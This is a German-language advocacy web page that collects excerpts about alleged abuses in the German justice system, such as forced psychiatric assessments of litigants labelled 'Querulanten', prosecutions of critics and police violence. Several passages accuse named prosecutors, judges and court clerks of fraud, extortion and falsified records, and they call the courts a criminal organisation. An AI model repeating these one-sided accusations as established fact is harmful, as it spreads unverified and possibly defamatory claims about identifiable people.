Ihre Ankläger sind in einer mißlichen Lage: Straftaten jede Menge böten sich zur Verfolgung an, aber nichts davon läßt sich noch greifen. Wo der Verdacht offenkundig ist, dürfen die Staatsanwälte nicht anklagen, und was sie anklagen dürfen, können sie nicht überzeugend beweisen. Mitgliedschaft in einer kriminellen Vereinigung etwa, sonst in solchen Fällen ein Selbstgänger, darf Astrid Proll nicht vorgeworfen werden. Das Delikt ist im deutsch-britischen Auslieferungsrecht nicht vorgesehen. Für einen Bankraub in Kassel befanden die Briten die Beweise zu dürftig und blockten die Verfolgung ab. Ermittlungen wegen S.111 Mitwirkung an der Baader-Befreiung von 1970 hatte schon die Berliner Justiz eingestellt.
…Astrid Proll und ihr Begleiter Manfred Grashof wurden am Abend des 10. Februar 1971 in Frankfurt von zwei Beamten um Vorlage ihrer Ausweise gebeten. Gleich darauf fielen Schüsse. Niemand wurde verletzt, die beiden BM-Mitglieder konnten flüchten. Bei der Spurensuche fanden sich fünf Hülsen, vier davon stammten aus der Pistole des BKA-Beamten Simons, eine aus der Waffe von Grashof, der, später als Zeuge vernommen, den Schuß auch zugab.
Aus dem Vorfall wurde gegen Astrid Proll der Vorwurf eines doppelten Mordversuchs konstruiert. Kriminalpolizei und Staatsanwalt verletzten ihre Dienstpflichten, sie beschränkten gezielt die Beweiserhebungen, frisierten die Akten und verheimlichten Zeugen. Denn es gab Zuschauer, die partout nicht auftauchen sollten: Beamte vom Verfassungsschutz.
…Kein Zweifel, daß die Unabhängigkeit der Gerichte spätestens dort aufhört, wo Polizisten und Geheimdienstler bestimmen, was Richter erfahren und beurteilen dürfen.

Entmündigung durch Richterwillkür im Rechtsstaat Deutschland
Manche Richter scheinen mit solchen langwierigen Fällen schlichtweg überfordert zu sein und wehren sich auf ihre Art, denn die Justiz weiß am besten wie man
hartnäckige Betroffene mundtot machen kann. Sie drohen gesunden Menschen mit Entmündigung. Ein Interview lehnt das zuständige Amtsgericht Buxtehude ab. Der zuständige Amtsrichter hat einen internen Vermerk über Herrn Schnathorst angefertigt. Darin spricht der zuständige Richter von „Querulantentum“ und dies „könne einen Krankheitswert aufweisen“. Mechthild Dyckmans aus dem Rechtsausschuss vom Bundestag warnt: Familiengerichtsverfahren sind oft mit ganz großen Immotionen betroffen und da darf der Richter nicht seine eigenen Emotionen reinbringen. Ich weiß aus meiner eigenen Erfahrung das Querulanten unangenehm sind aber nicht jeder Querulant ist, weil er Querulant ist Prozeßunfähig. Auch ein Querulant hat einen Anspruch auf ein rechtsstaatlich korrektes Verfahren.
Prof. Bernd-Rüdeger Sonnen: Wenn es in einem Sorgerechtsstreit hoch hergeht auf beiden Seiten, dann kann man nicht
sagen hier ist jemand der wirklich kämpft Querulant und deswegen müssen wir ihn unter Betreuung stellen. Das ist voll daneben würden wir heute sagen. Herr Schnathorst muß sich einer psychologischen Untersuchung unterziehen. Der Gutachter erklärt Herr Schnathorst sei selbstverständlich normal.
Bernd Schnathorst ist kein Einzelfall. Knapp 10000 EUR an Gerichts- und Anwaltkosten hat Karin Kelly bislang bezahlt ohne Ihren Enkel auch nur einmal in die Arme nehmen zu dürfen. …Doch dann im Dezember letzten Jahres wird den Kellys von dritter Seite ein Protokoll sowie ein Beschluß des Amtsgerichtes Rottenhausen zugespielt. Auch hier stellt ein Gericht die Zurechnungsfähigkeit in Frage. Der Gerichtsvollzieher hält sogar eine „Überprüfung ob vormundschaftliche Maßnahmen angebracht sind für sinnvoll“. Amtsgericht Rottenhausen: Im übrigen sei alles gerichtlich korrekt gelaufen.
Jürgen Rudolf, Familienrichter, ist der Fall Kelly ein Musterbeispiel wie es nicht ablaufen sollte. Der Experte weiß um die weitreichenden Konsequenzen solcher Beschlüsse: „Das ihr jetzt auch noch assestiert wird, dass Sie nicht Verfahrensfähig und damit nicht Zurechnungsfähig sei, dass habe ich als unrealistisch empfunden und als Satire und hier ist eine ganz große Gefahr, die in einem solchen System entstehen kann“.
Report hakt beim Bundesjustizministerium nach. Aber die Bundesjustizministerin Zypries sieht keinen Handlungsbedarf. Das Gerichte Menschen, die ihre Rechte wahrnehmen, mit Entmündigung droht ist also weiterhin selbstverständlich. Geistig vollkommen gesunden Menschen, die um ihr Recht kämpften droht damit also weiterhin die Gefahr für Unzurechnungsfähig erklärt zu werden.

„Wie man die Opfer zum Schweigen bringt: Kindesentzug, Entmündigung, Kriminalisierung, Zwangspsychiatrisierung, ‚Pressefreiheit‘?“
Diese Rubrik möchte Menschen helfen, die durch das Unverständnis ihrer Umgebung, durch ärztliches Unvermögen oder durch Vorurteile und pseudo-psychiatrische Diagnosen, durch Verleumdung oder Kriminalisierung an den Rand der Gesellschaft gedrängt werden und einzelne Menschenrechte des normalen Bürgers wie zum Beispiel das Recht auf freie Meinungsäusserung verlieren – oder gar, wie im Falle Heller, aus ihrer Heimat fliehen müssen.

Richterliche Anordnungen zu Zwangsgutachten und Untersuchungen zwecks Prozeßunfähigkeit für Nichtjuristen und Justizkritiker
Besorgte Bürger schrieben auf Bitten eines Opfers von Amtsmißbrauch, Amtskorruption, Rechtsbeugung am LG Braunschweig, an Herrn Prof. Dr.Mauthe, LKH Königslutter. Nun ist der Herr Professor ein vielbeschäftigter Mann, kann sich vor Arbeit kaum retten, u.U. auch leicht vergeßlich und zerstreut, …., er „vergaß“ zu antworten. Erlassen wir ihm die Antwort und sind wir nett zu ihm. Von dem Betroffenen erfuhren wir lediglich, daß er, der Herr Professor,  für „derartige“ Aufträge wie daß vom Landgericht gewünschte psychiatrische Gutachten wegen vieler „Regierungsaufträge“ keine Zeit habe. Was dies auch heißen mag, wir veröffentlichen dieses Schreiben, um weiteren Betroffenen stichhaltige Argumente zu liefern …
Aufgrund der fortschreitenden Amts- und Gerichtspraxis, Prozeßparteien in gerichtlichen Verfahren zwangszubegutachten und ihre Prozeßunfähigkeit zu behaupten, sowie Justizkritiker solcherart anzugreifen, besteht schon aufgrund der persönlichen wie volkswirtschaftlichen Schäden Klärungs- und Handlungsbedarf. Der Bürger muß sich solche Eigenmächtigkeiten von Juristen und Gutachtern nicht gefallen lassen. …

Gutachten als Waffe gegen „Querulanten“ von Prof. Joachim Hellmer
Es gibt eine ausgedehnte Praxis, „Querulanten“ und andere unliebsame Personen mit Hilfe des ärztlichen Sachverständigen mundtot zu machen. Berühmt-berüchtigt sind zum Beispiel die Zwangspensionierungen von Beamten, die den Staat – aus berechtigten oder unberechtigten Gründen – unbequem , vielleicht sogar (wegen des behördeninternen Wissens ) gefährlich geworden sind. Gehen diese gegen Ihre Entlassung gerichtlich vor, was Ihr gutes Recht ist, rettet sich der Staat vor einer Nachprüfung seiner Entscheidung nicht selten durch Einschaltung eines ärztlichen Gutachters, der entweder Dienstunfähigkeit attestiert oder gar Querulantenwahn diagnostiziert wobei schon Aberkennung der Prozessfähigkeit genügt um den Beamten unschädlich zu machen. Es muß Ihm dann ein Pfleger (nach heutigem Recht ein Betreuer) bestellt werden der von sich aus entscheidet ob die Klage erhoben oder weiterverfolgt wird.
…Das ärztliche Gutachten ist – solange diese Praxis nicht allgemein durchschaut ist – eine Waffe, die durch wissenschaftliche Herkunft den Anschein von Unanfechtbarkeit besitzt. Sie ist praktisch unanfechtbar, aber nicht durch den Wahrheitsgehalt, sondern durch Fehlen einer unabhängigen Instanz, die dem Sachverständigen – und damit der öffentlichen Gewalt, die sich seiner bedient – auf die Finger klopft. Die deutschen Gerichte sind – trotz ermutigender Ausnahmen – noch weit davon entfernt eine solche unabhängige Instanz darzustellen.

Wer sich als Nichtjurist bei Gericht selbst oder Angehörige vertritt ist auf seinen Geisteszustand zu untersuchen ob ihm ein Betreuer bestellt werden muß
Unglaublich, die Fälle häufen sich, ein Sozialgerichtsverfahren ist der Anlaß eine Anfrage an das örtliche Amtsgericht zu stellen ob ein rechtsuchender zivilcouragierter Bürger noch alle „Tassen“ im Schrank hat. Nach Durchsicht der Unterlagen die zur Verfügung stehen, handelt es sich um einen Künstler und Multimediafachmann der zugleich für ein Millardenschweres Projekt als gerichtlich bestellter Patentverwalter tätig ist. Doch damit nicht genug, wer ihn kennt und seine Vita [1] gelesen und überprüft hat, der weiß das es Menschen gibt die weit ausserhalb der Normen Qualitäten besitzen die für einseitig schmalspurig ausgebildete Zeitgenossen nicht erreichbar sind. Zu dem ist nicht selbstverständlich das ein Mensch sein berufliches Fortkommen einschränkt, seine erblindete Mutter pflegt, vor der Sozialgerichtsbarkeit, dem Versorgungsamt, dem Sozialamt und der Gesundheitskasse AOK als Rechtsvertreter, als absolute Vertrauensperson tätig ist. Kurzum, die Vollpflege an seiner 86 jährigen Mutter von Ärzten und Pflegekasse niemals beanstandet, inklusive Haushalt und die Selbstversorgung seiner Person, ist ein krankhafter Zustand der gleich zwei Personen betrifft? Ist die Einschränkung des persönlichen wie auch der beruflichen Lebensqualität eine schwere neurotische Störung die ein Richter zu behandeln hat? Wie weit darf hier die richterliche Unabhängigkeit überdehnt werden und wo beginnt die Sozialeuthanasie? …

In Deutschland werden Bürgerrechtler und Menschenrechtler überwacht, weil diese eine Gefahr für den deutschen „Rechtsstaat“ darstellen, 12.01.1999
„Nach wie vor – und das heißt seit über 28 Jahren – wird Dr. Rolf Gössner, Rechtsanwalt, renommierter Publizist und engagierter Bürgerrechtler vom Verfassungsschutz geheimdienstlich überwacht. Diese Tatsache hat das Bundesamt – auf Antrag – dem Betroffenen Ende letzten Jahres mitgeteilt.“
Humanist ische Union, Presseerklärung vom 12. Januar 1999

Pressemitteilung anlässlich der Demonstration der Justizopfer am 26.03.2007 anlässlich des Entzugs der Anwaltszulassung von RA Claus Plantiko vor dem Bundesgerichtshof in Karlsruhe
Es lag schon immer im Interesse der Staatsmacht, systemkritische und andersdenkende Bürger durch eine loyale Justiz zu disziplinieren. Da nach dem Ende der NS-Diktatur die dringend notwendige Säuberung an der Justiz vorbeiging und der infantile nationalistische Ehrenkult auch heute noch weite Bereiche der Staatsanwälte und Richter in ihrem Handeln beeinflußt, wird von der Justiz nahezu jede berechtigte Kritik am System als bösartige Richterbeleidigung verfolgt und bestraft, obwohl eine Bestrafung nach § 185 StGB rechts- und verfassungswidrig ist.
Wegen der Gesetzesunbestimmtheit der Straftat „Beleidigung“ wird bei einer Anklage und Verurteilung gegen die Gesetzesunterwerfung aus Art.97 Abs. 1 GG, Art. 20 Abs. 3 verstoßen, wie auch gegen die Rechtsregel „nulla poena sine lege“, also gegen die Regel „keine Strafe ohne Gesetz“ und zwar des Art. 103 Abs. 2 GG, der Art.7 und 10 EMRK und gegen einschlägige Artikel von Verfassungen der Bundesländer. Weiter verstoßen solche Staatsanwälte und Richter bei einer Verurteilung gegen § 1 STGB und begehen damit Rechtsbeugung gem. § 339 StGB.
Lt. „DER SPIEGEL“ gab es im Jahre 2003 164.848 Strafanzeigen wegen „Beleidigung“ – Tendenz steigend.
Der Begriff „Beleidigung“ ist der Willkür der Beleidigten – der Staatsanwälte und Richter – ausgesetzt. So mußte Rechtsanwalt Claus Plantiko am 9. März unter massivem Druck der Richter seine Berufung gegen einen Strafbefehl wegen angeblicher „Richterbeleidigung“ zurücknehmen, obwohl der Richter als Zeuge in der ersten Verhandlung gar nicht mehr wußte, durch welche Worte er sich durch den couragierten Anwalt beleidigt fühlte und der Richter / Zeuge im Gerichtssaal erst Einblick in die Akte nehmen mußte. Am Schluss der Berufungsverhandlung eskalierte die Situation im Gerichtssaal, als Richter Sch. die etwa 30 Zuhörer anbrüllte, „Habe ich es denn hier nur noch mit Voll-idioten zu tun?“ Nun hat der Richter selbst mehrfach Strafanzeigen u.a. wegen Beleidigung am Hals. Und solch ein Richter führte den Vorsitz in einem Beleidigungsprozess!
Doch der höchst zweifelhafte Strafbefehl von € 18.000 gegen Plantiko reicht dem längst unkontrollierbar gewordenen Justizsystem nicht mehr. Unliebsame Kritiker werden kurzerhand zu Querulanten abgestempelt. Sie müssen sich einer psychiaterischen Untersuchung unterziehen. Schon vor mehreren Jahren schrieb dazu Prof. Joachim Hellmer:
„Der Begriff >Querulanz< sollte aus dem Vokabular der Sachverständigen ein für alle Male gestrichen werden. Wo dieser Begriff in einem Gutachten vorkommt, sollte man gleich wissen, daß gegen den Beurteilten nichts fundiertes vorzubringen ist, daß kein wirklich krankhafter Befund vorliegt, geschweige denn eine Geisteskrankheit, sondern eine gesunde, aber unbequeme Person zum Schweigen gebracht, statt Freiheits- oder Geldstrafe als eine „Äußerungsstrafe“ verhängt werden soll.“ Vor diesem Hintergrund sollte am 26.03. (Termin inzwischen verschoben) vor dem BGH die Anwaltszulassung von RA Plantiko entzogen werden. Dieser geplante klare Verfassungsbruch, der einem Berufsverbot eines mutigen Kritikers gleichkommt, (kennen wir Ähnliches nicht von diktatorischen Systemen?), durch das höchste deutsche Gericht, ist Anlass dafür, dass mehrere Justizopferorganisationen sich mit RA Plantiko solidarisieren und am 26.03. in einer gemeinsamen Protestaktion vor dem Bundesgerichtshof die grundgesetzkonforme Umsetzung des Rechts und die Kontrolle der Justiz einfordern.
Auch der Verein hilfe-RuF e.V. hat sich zum Ziel gesetzt, durch Aufklärung und Öffentlichkeitsarbeit auf die Mißstände in der Justiz und des Machtapparats hinzuweisen. Selbst der frühere Innenminister Gerhart Baum beklagt den heute häufig praktizierten Rechtzustand und wünscht sich eine bundesweite Bürgerinitative „Rettet die Grundrechte“.
Viele unserer Vereinsmitglieder haben die Verlogenheit und Verkommenheit der deutschen Justizbehörden und des staatlichen Machtapparats selbst leidvoll erfahren müssen und sich deshalb entschlossen, für mehr Rechtsstaatlichkeit und Gerechtigkeit zu kämpfen. Die „Antiterrorgesetze“ und die angedachte Justizreform dienen nicht dazu, die im Grundgesetz garantierten Bürgerrechte besser umzusetzen. Beide dienen in erster Linie die Kontrollen des Staates gegenüber den Bürgern auszuweiten und diesen ihre Rechte und Freiheit weiter zu beschneiden.
In seinem Buch „Im Namen der Gerechtigkeit“ schrieb der Strafverteidiger Dr. Paul Ronge über die Zeit vor und nach der Machtergreifung der Nazis: „Ich hoffte und wartete, dass die höchsten Juristen eingreifen werden. Ich wartete vergebens.“ …
hilfe – R u F e.V. Hilfe für demokratisches Recht und Freiheit e.V.

Reportage: StA Zmyj-Köbel (Marburg), Spitzname ‚Schreihals‘, missbraucht seine Amtsmacht für Rache an einem Rechtsanwalt?, 2007
Staatsanwalt Zmyj-Köbel hat die Gießener Kanzlei und die Marburger Wohnung des Rechtsanwalts Döhmer am 6.11.2007 durchsuchen lassen. Die Erlaubnis dazu bekam Zmyj-Köbel vom Marburger Richter Schauß. RA Döhmer wirkt aus mehreren Gründen auf die einheimische Justiz wie ein rotes Tuch.
Döhmer hat beispielsweise Jörg Bergstedt von der Projektwerkstatt verteidigt und immerhin erreicht, dass eine mehrtägige Einsperrung Bergstedts für rechtswidrig erklärt wurde. Die RichterInnen des Oberlandesgerichts Frankfurt a.M. verglichen bei dieser Gelegenheit Gießener Polizisten und Richter der Gegenwart mit Kollegen in der „Nazizeit“ (siehe Richter Gotthardt (AG Gießen): OLG Frankfurt vergleicht sein Vorgehen mit Nazi-Methoden ).
Döhmers Widersacher ist Staatsanwalt Zmyj-Köbel. In Gerichtsverhandlungen schreit Zmyj-Köbel unbeherrscht. Holger Gaßmann, früher beim Landgericht Gießen, jetzt Präsident am Landgericht Marburg, schreibt: „Soweit der Verteidiger Rechtsanwalt Döhmer das in dem hiesigen Verfahren zutage getretene Verhalten des Staatsanwalts Zmyi-Köbel beanstandet, ist festzuhalten, dass Staatsanwalt Zmyi-Köbel nach Mitteilung des Leiters der Staatsanwaltschaft bei dem Landgericht Marburg nicht mehr mit dem Sitzungsdienst in dieser Sache beauftragt ist.“
StA Zmyj-Köbel hat versucht, Rainer Hoffmann zu einem verleumderischen Strafantrag gegen Dr. Brosa anzustiften (siehe CDU – Staatsanwalt fordert zu Denunziation auf ). Rainer Hoffmann ist darauf nicht eingegangen, sondern hat eine Petition beim hessischen Landtag eingereicht, in der er Parallelen zur Justiz „im Dritten Reich“ zog.
„Mit Dankbarkeit“ erinnert Dr. Brosa daran, dass Rechtsanwalt Döhmer sich mutig für ihn eingesetzt hat, indem er – nach ausgedehntem Aktenstudium – beim hessischen Justizministerium über die „unheilige Verquickung zwischen der rechtsradikalen Szene, den Polizeibehörden und den zuständigen Strafverfolgungsbehörden“ Beschwerde führte.
RA Döhmer wurden daraufhin von Zymi-Köbels Chef, dem Leitenden Oberstaatsanwalt Koeppen, „Risiken“ angedroht…
Und so geschah es auch: Sehen Sie hier die Pressemitteilung von RA Döhmer zur Hausdurchsuchung vom 6. 11. 07.

Der Präsident Richter des LG Aachen ist beleidigt und bockig und erklärt sich daher in 350 Strafverfahren für Befangen
Der Präsident des LG Aachen hat vor einiger Zeit “gewissen Rechtsanwälten” zum Vorwurf gemacht, durch Befangenheitsanträge und ausufernde Beweisanträge die Aachener Justiz über Gebühr zu belasten und Verfahren in die Länge zu ziehen. Er hat damit 98 % aller Kollegen bitter Unrecht getan, was er wohl inzwischen auch erkannt hat.
Ich bin gespannt, wie die Aachener Justiz mit einem “von ihnen” umspringt, der sich wenig professionell, schwer beleidigt und bockig verhält. Was ist passiert ?

rechtskultur.de:
Prozessbetrug und mehr
Dieser Text berichtet scheinbar Unglaubliches: „Unerhörte Begebenheit/en“ aus dem Innern des demokratischen und sozialen Rechtsstaats Bundesrepublik Deutschland und seines Justizapparats. Was hier so knapp wie möglich und so ausführlich wie nötig berichtet wird, hat sich so und nicht anders im Sommer 2001 ereignet: Am Amtsgericht Euskirchen und am Oberlandesgericht Köln im Juli, August und September 2001. Dabei sind unter dem Deckmantel des „Kindswohls“ vor allem eine Mutter und ihre Kinder erheblich geschädigt und in ihrer Existenz nachhaltig gefährdet worden. Beschrieben werden vor allem wichtige strafrechtliche Seiten. Die dahinter liegenden Abgründe an barbarischem Zynismus, an menschenverachtender Antimoralität und zerstörerischem Rechtsnihilismus von Personen und Institutionen stehen nicht im Vordergrund. Und was hier als manipulativer Handlungszusammenhang vorgestellt wird, ist monatelang entsprechend der beabsichtigten Handlungsstrategie der aus vier Personen bestehenden Tätergruppe verborgen geblieben. Er wurde zunächst nur aspekthaft vermutet, kann nun aber aufgedeckt werden, nachdem drei Akten, die bisher unzugänglich waren, endlich durchgesehen werden konnten. Dabei zeigen sich eine Vielzahl nicht nur der üblichen, bekannten und gängigen Verstösse gegen rechtliche Normen und Verfahrensgrundsätze, sondern auch wesentliche rechtsfeindliche Verstösse gegen elementare Rechtsgrundsätze bis zu mehrfachen Grundrechtsverletzungen. …

Oberstaatsanwalt Harald Krahmüller Staatsanwaltschaft Bielefeld (26 Js 355/09, Schreiben vom 10.06.2009 **PDF folgt): Wenn Richter oder Staatsanwälte strafbare Handlungen tätigen wie Erpressung, Bedrohung Nötigung und Betrug, dann ist zu unterstellen, dass es sich dabei nur um einen Irrtum handeln kann und daher sind bereits keine Ermittlungen aufzunehmen.

Dem von der Staatsanwaltschaft Betrogenem wurde jedoch hinterher noch 4 mal erklärt, dass das Geld um dass er von der Staatsanwaltschaft betrogen wurde nicht zurückgezahlt wird. Der Amtsleiter der Staatsanwaltschaft Bielefeld und auch der Amtsleiter der Generalstaatsanwaltschaft Hamm erklären, dass das Geld nicht zürückgezahlt wird. Es wurde im übrigen ein Strafantrag wegen Nötigung, Bedrohung (Eine entsprechende Freiheitsberaubung würde ein Verbrechen darstellen §239 Abs. 2 iVm. §12 Abs. 1 StGB), Erpressung und insbesondere Betrug gestellt. Um das ganze herabzuspielen wird in dem Schreiben von Oberstaatsanwalt Harald Krahmüller nur die Nötigung aufgeführt. Desweiteren erklärt Oberstaatsanwalt Harald Krahmüller, dass in dem Haftbefehl stehen würde: „Durch sofortige Zahlung des nebenstehend aufgeführten Betrages unter Angabe des Verwendungszwecks kann die Vollstreckung abgewendet werden.“ Das steht in dem Haftbefehl bezüglich der Strafe. (Im folgenden sehr verkürzte Darstellung der Vorfälle). Die zu zahlende Strafe war jedoch gar nicht Gegenstand des Strafantrages, sondern es geht allein um die Kosten, denn man erpresste den Inhaftierten ihn so lange in Haft zu lassen bis er auch die Kosten bezahlt hat. Da er Mittellos ist kann er die Kosten aber nicht bezahlen und wäre so gesehen unendlich lange Inhaftiert geblieben. Die Strafe wäre nach 30 Tagen Haft abgesessen gewesen aber Kosten kann man nicht absitzen. Dass er vollkommen Mittellos ist, ist der Staatsanwaltschaft bzw. Staatsanwältin Anja Lausten und Richterin Anke Weilert bestens bekannt, denn er ist sogar gerade bestraft worden, weil er sich hat bei Mittellosigkeit von einem Anwalt bei Anwaltszwang vertreten lassen, der 1030 EUR gekostet hätte. Etwa 1 Jahr danach ist das Insolvenzverfahren eröffnet worden, so dass es dem Inhaftierten nun finanziell jetzt besonders schlecht und viel schlechter ging wie zu dem Zeitpunkt als er den Anwalt, der im Übrigen seine Leistung gar nicht erbracht hat, in Anspruch genommen hat. Ein Gnadengesuch zur Verringerung der Strafhöhe wurde abgelehnt. Ein Antrag auf Tilgung der Strafe durch gemeinützige Arbeit wurde abgelehnt, weil der Verurteilte sein Gnadengesuch auf Aufhebung bzw. Verringerung der Strafhöhe weiterverfolgte.
Ohne Wissen des Inhaftierten erschien eine Person bei der Polizei um ihn auszulösen, die allerdings nicht wußte, dass der Inhaftierte vollständig Mittellos ist, und fragte, wieviel er denn zahlen müsse, damit der Inhaftierte wieder freikommt. Als man ihm die Summe von 930 EUR nannte erklärte er, dass es aber nur etwa 300 EUR sein müßten. Daraufhin telefonierte der Polizeibeamte mit der Staatsanwältin oder der Richterin und erklärte, dass der Inhaftierte nur dann freigelassen wird, wenn die 930 EUR bezahlt werden. Mit dem Inhaftierten sprechen durfte er nicht, denn es hätte ja auch sein können, dass er eine solche hohe Strafsumme (teilweise) absitzen wollte. Das Geld von dem Inhaftierten zurückerhalten kann die Dritte Person nicht welches die Staatsanwaltschaft und die Richterin genau wissen. So verschafft sich die Staatsanwaltschaft Geld von Dritten mit Lügen und letztlich betrügerisch, welches diese von ihren Schuldnern nicht erhalten können.
Der Dritte verlangte daraufhin die Kosten zurück, denn die Zahlung dieser Kosten war nicht Notwendig, damit der Inhaftierte wieder freigelassen werden muß. Es gab seinerseits eine ganz genaue rechtsgeschäftliche Willenserklärung und zwar, dass er so viel einzahlen will, dass der Inhaftierte wieder freigelassen wird. Rechtspflegerin Mareike Engel teilte dem ehemals Inhaftierten daraufhin 2 mal mit, dass er die Kosten nicht zurückerhält. Als es dem Inhaftierten noch finanziell viel besser ging wurde er bestraft, weil er bewiesenerweise 1030 EUR Kosten nicht zahlen könnte (Man wollte so die Zahlung von Geld an einen Anwalt erpressen, der mit dem Präsidenten Gero Debusmann vom OLG-Hamm kongenial zusammenarbeitet und die für sein Honorar erforderliche Leistung gar nicht erbracht hat.). Jetzt wo es ihm finanziell wesentlich schlechter geht wird es als selbstverständlich vorrausgesetzt, dass er 930 EUR zahlen kann. Da die Staatsanwaltschaft und die Richterin wissen, dass er die Kosten nicht zahlen kann hat man sich die Lüge ausgedacht um einen Dritten um das Geld zu betrügen.

Bei der Staatsanwaltschaft Bielefeld dürfen zum elitären juristischem Kreis zugehörige Rechtsanwälte falsche eidesstattliche Versicherungen abgeben und dabei Bürger fürchterlich schädigen und ruinieren. Richter dürfen nach Herzenslust Rechtsbeugung begehen und Protokolle fälschen, also Willkürlich handeln, und damit Bürger ruinieren. Im Ansehen der Person sind Ermittlungen stets von vorn herein garnicht aufzunehmen.
Bei juristisch sogenanntem minderwertigen Menschen ist bei der Staatsanwaltschaft Bielefeld Betrug umgekehrt zu unterstellen auch wenn gar keiner vorhanden sein kann. Desweiteren ist aufgrund einer unterstellten Unterschlagung sogar bei einem Proleten eine Hausdurchsuchung durchzuführen.
Gemäß der Staatsanwaltschaft Bielefeld ist dieser selbst, dass Unterstellen von Straftaten, sowie die nicht Ermittlung bei Straftaten strengstens untersagt und diese wäre angeblich zur strengen Objektivität verpflichtet.
Gemäß Alexander Dörrbecker vom Bundesjustizministerium werden Straftaten in Deutschland ohne Ansehen der Person verfolgt.
Gemäß der Landesjustizministerin Roswitha Müller-Piepenkötter wird bei der Staatsanwaltschaft Bielefeld ohne Ansehen der Person gehandelt.
Bereits an dieser ungeheuerlichen Verlogenheit mit dem vorsätzlichen und gewollten Handeln im Ansehen der Person, wobei Juristen, die dazu gehören Straftaten begehen dürfen und andere Menschen ruinieren dürfen sieht man bereits, dass es sich bei der Staatsanwaltschaft und den Gerichten Allgemein um die gefährlichste kriminelle Vereinigung handelt, wobei die Gerichte zusammen mit der Staatsanwaltschaft zusammen mit der dahinter stehenden Politik auch die kriminellste Vereinigung in Deutschland sein dürfte.
Parlamentarischer Geschäftsführer CDU-Bundestagsfraktion Peter Briesenbach (Mindener Tageblatt, Seite 2, 25.07.2009): „Die Justiz in NRW funktioniert“. Das ist also, dass was von elitären Herrschaften in der Politik und von Landesjustizministerin Roswitha Müller-Piepenkötter (CDU) unter einer funktionierenden und lobenswerten Justiz verstanden wird.

Ablieferungspflicht für Webseiten? – Die neue Pflichtablieferungs-Verordnung
„Ist es auch Wahnsinn, so hat es doch Methode” heißt es bei Hamlet. Nichts anderes fällt einem angesichts der seit Oktober 2008 in Kraft getretenen Pflichtablieferungs-Verordnung ein. Sie ist eine Ausführungsverordnung zum Gesetz über die Deutsche Nationalbibliothek, das im Jahre 2006 das Licht der Welt erblickte.
Es lässt sich leider nicht anders sagen: Beide Gesetze sind in puncto Internet eine der schwachsinnigsten Regelungen, die der deutsche Gesetzgeber je verbrochen hat. Selbst so katastrophale Onlinerechts-Bereiche wie das Fernabsatzrecht, in denen die Legislative seit nunmehr 10 Jahren absolute Inkompetenz beweist, strahlt demgegenüber in hellem Licht.

Betrug und Strafvereitelung: Eine Staatsanwältin steht als Angeklagte vor Gericht, 03.03.2009
Eine wegen Strafvereitelung angeklagte Staatsanwältin hat seit zwei Jahren erfolgreich den ihr drohenden, öffentlichen Prozess verhindert. Jetzt unternimmt die Justiz einen neuen Anlauf gegen die 46-Jährige, die in Wiesbaden schon wegen Betruges verurteilt worden war. Am 25. Mai soll es endlich so weit sein: Dann soll Dr. Anne D. ­ als Staatsanwältin in Frankfurt zuletzt für Jugendkriminalität zuständig ­ vor Amtsrichter Thomas Siahaan erscheinen. Nicht als Prozessvertreterin ihrer Behörde. Sondern als Angeklagte. Die Vorwürfe, die dann verhandelt werden sollen, wiegen schwer sowohl für die inzwischen suspendierte Staatsanwältin, aber auch für den Ruf der hessischen Justiz.

Zu viele Kirchenaustritte: Thüringen führt Kirchenaustrittsgebühr ein
Die CDU geführte Thüringer Landesregierung hat zum 1. März 2009 eine Kirchenaustrittgebühr von 30 € eingeführt, außerdem ist der Austritt nun beim Standesamt zu erklären und nicht mehr beim Amtsgericht. Es gibt keine Ermäßigung für sozial Schwache. Damit macht die CDU den Kirchen nochmal ein Geschenk vor einer möglichen Abwahl bei den Landagswahlen im August.

Notstandsjustiz: Repression gegen Antikriegsaktivisten – Absurdes Hammer-Urteil gegen IMI-Vorstand Tobias Pflüger, 13.03.2009
Am Montag den 2. März 09 fand vor dem Amtsgericht München / Strafgericht ein Prozess gegen unser Vorstandsmitglied Tobias Pflüger statt. Dabei wurde er für eine angebliche Beleidigung während der Proteste gegen die Münchner Sicherheitskonferenz 2005 zur Zahlung von 60 Tagessätze a 200 Euro – also 12.000 Euro! – verurteilt.
Zum Hintergrund: Drei Polizisten werfen Tobias Pflüger Beleidigung vor. Sie hatten den Europaabgeordnete bei der Münchner Sicherheitskonferenz 2005 daran gehindert, Zugang zu einem brutal Festgenommenen zu bekommen. Auch gaben sie keine Informationen über den Festnahmevorgang heraus. Anscheinend weil Tobias Pflüger ankündigte, sie wegen Rechtsbeugung anzuzeigen, initiierten die Polizisten eine Anzeige gegen ihn. Eine Beleidigung ist von Seiten von Tobias Pflüger allerdings nicht gefallen.
Nach Befragung durch Tobias Pflügers Anwältin Angelika Lex waren die Widersprüche und Absprachen der Polizisten offensichtlich, doch die Richterin fand trotzdem alles glaubwürdig. Aus den Aussagen der Polizisten ergab sich weiterhin, dass die übergeordneten Behörden (genannt wurde die Bezirksregierung Düsseldorf) bei der Erstellung der Anzeige des Polizisten Michaelis behilflich waren. Dies gibt dem Verfahren eine weitere politische Dimension. Die Polizisten schrieben ihre Texte voneinander ab. Weder die Staatsanwaltschaft (Frau Lux) noch die Richterin (Frau Birkhofer-Hoffmann) waren bereit, den politischen Kontext des Verfahrens ernsthaft zu würdigen und etwa die Möglichkeit unlauterer Gründe der Polizisten zu bedenken, sondern sie schenkten den Polizisten uneingeschränktes Vertrauen. In Ihren Augen liegt es bei Pflüger, den Vorwurf der Beleidigung zu entkräften.
Leider ist dieser Fall nur einer unter vielen, die zeigen, wie die Meinungs- und Versammlungsfreiheit in Deutschland wie auch in der EU immer weiter ausgehöhlt wird. Die Versuche, das bayrische und baden-württembergische Versammlungsgesetz zu verschärfen sind weitere Beispiele.

Polizeigewalt, Querschnittsgelähmter bekommt 100.000 Euro Schmerzensgeld, 28.05.2009
Entschädigung für ein Opfer übertriebener Polizeigewalt: Das Land Nordrhein-Westfalen muss 100.000 Euro Schmerzensgeld an einen Mann zahlen, der von Beamten verletzt wurde und nun querschnittsgelähmt ist. Das hat das Oberlandesgericht entschieden.
Hamm/Espelkamp – Das Land muss auch Folgekosten wie Verdienstausfälle oder den rollstuhlgerechten Umbau der Wohnung zur Hälfte übernehmen (Az.: 11 U 175/07), wie ein Sprecher des Gerichts in Hamm sagte. Nach Ansicht der Kammer war die Gewalt der Polizei „massiv übertrieben“.

Tödliche rechtswidrige Schüsse, Haftbefehl gegen Polizisten, sueddeutsche Zeitung, 13.01.2009
